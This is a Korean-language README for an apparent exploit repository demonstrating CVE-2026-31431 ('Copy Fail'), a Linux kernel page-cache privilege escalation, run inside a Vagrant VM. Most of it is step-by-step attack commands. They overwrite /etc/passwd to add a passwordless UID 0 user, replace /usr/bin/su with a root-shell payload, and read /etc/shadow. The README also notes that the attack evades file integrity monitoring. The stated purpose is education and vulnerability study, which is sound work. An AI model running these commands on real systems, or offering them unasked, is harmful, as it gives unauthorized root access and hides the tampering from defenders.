
CVE-2026-31431에 대한 데모 및 설명
CVE-2026-31431, Linux 커널 Copy Fail 로컬 권한 상승 취약점에 대한 데모 및 설명입니다. 이 취약점을 통해 읽기 권한으로 열린 파일의 페이지 캐시에 데이터를 덮어쓸 수 있습니다.
이 저장소는 교육 목적으로만 제공되며 통제된 환경에서 취약점을 설명합니다. 포함된 파일은 다음과 같습니다:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
Copy Fail이라는 이름의 이 취약점은 algif_aead의 로직 결함으로 인해 2017년부터 2026년까지의 Linux 커널에 존재합니다. CVE-2026-31431로 지정되었으며 CVSS 점수는 7.8로 높은 심각도 등급을 받았습니다. 이 익스플로잇은 결정적이며 기존의 파일 무결성 모니터링 도구를 우회할 수 있습니다.
개념 증명은 C, Python, Go 등 다양한 언어로 공개되었지만, 이 데모에서는 Python을 사용하며 Python 3.10 이상이 필요합니다. 이 익스플로잇은 권한이 낮은 사용자로 로컬 코드 실행이 필요하며 로컬 권한 상승에 사용될 수 있습니다.
아래 섹션은 다음과 같습니다:
Vagrant와 QEMU가 설치되어 있는지 확인하십시오. 그런 다음 이 저장소를 클론하고 프로젝트 디렉터리로 이동합니다.
vagrant up
vagrant ssh
VM 내부에서 우리의 권한 수준을 테스트할 수 있습니다.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
우리의 권한은 분명히 제한적이지만, 이 취약점을 사용하여 권한을 상승시킬 수 있습니다.
취약점을 이해하기 위해 더미 파일을 덮어쓰고 어떤 일이 발생하는지 확인해 보겠습니다.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
이 파일은 세 줄로 구성되어 있습니다. 첫 번째 줄은 6바이트(줄 바꿈 포함)이고, 두 번째 줄은 2바이트, 세 번째 줄은 1바이트입니다. 익스플로잇이 4바이트 블록 단위로 데이터를 덮어쓰고 페이로드를 패딩하여 채우기 때문에 이는 중요합니다.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
파일의 처음 8바이트가 페이로드로 대체된 것을 확인할 수 있습니다. 두 개의 문자가 존재하지만 출력 가능한 문자가 아닙니다. nano로 파일을 열어 확인하십시오.
하지만 그다지 흥미롭지 않으므로, 쓰기 권한이 없는 파일에 쓰는 것으로 넘어가겠습니다.
/etc/passwd의 내용을 덮어써서 루트 권한이 있지만 비밀번호가 없는 사용자를 추가할 수 있습니다.
cat /etc/passwd
첫 번째 줄에는 root 사용자가 있으며, 줄 바꿈을 포함하여 4자씩 8개 그룹으로 구성되어 있습니다. 형식은 root:x:0:0:root:/root:/bin/bash로, 각 값은 사용자 이름, 비밀번호, UID, GID, 홈 디렉터리, 셸을 나타냅니다.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
UID 0과 GID 0을 가진 새 사용자 hackd를 추가했습니다. 이는 루트 권한을 의미합니다. 비밀번호 필드가 비어 있으므로 비밀번호 없이 로그인할 수 있습니다.
su hackd
id
cat /etc/shadow
원래 익스플로잇에서는 /usr/bin/su 바이너리를 셸을 실행하는 명령으로 덮어써서 공격자가 su를 실행할 때 루트 권한을 얻을 수 있습니다. 파일에 있는 원래 페이로드로 /usr/bin/su를 대상으로 이 익스플로잇을 재현할 수 있습니다.
이렇게 하면 페이지 캐시에 있는 su 바이너리가 파괴됩니다.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
페이로드가 적용된 상태에서 su를 실행하면 루트 권한을 얻을 수 있습니다. 이는 사용자 ID 0으로 셸을 열며, 일반적으로는 root 사용자이지만 위의 데모를 수행했다면 우리가 생성한 hackd 사용자일 것입니다. 이 익스플로잇은 root 사용자에게 비밀번호가 있더라도 셸을 엽니다.
su
id
이 익스플로잇은 디스크의 파일을 수정하는 것이 아니라 페이지 캐시 상태를 수정합니다. 결과적으로 디스크에 있는 파일의 변경 사항을 확인하는 기존 파일 무결성 모니터링 도구는 이 익스플로잇을 탐지하지 못합니다.
이를 입증하려면 위의 익스플로잇을 실행한 다음 VM을 재시작한 후 대상 파일의 내용을 확인하십시오.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
익스플로잇에는 다음 구성 요소가 사용됩니다:
AD||CT||TAG.TAG 뒤에 복사하여 제자리에서 그 순서를 바꿉니다.seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo이 취약점을 만든 인플레이스 최적화를 활성화한 커밋:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
패치는 공개 발표 없이 이루어졌으며 algif_aead의 인플레이스 연산 기능을 제거합니다:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
더 읽어보기:
Python 구현
C 구현
Go 구현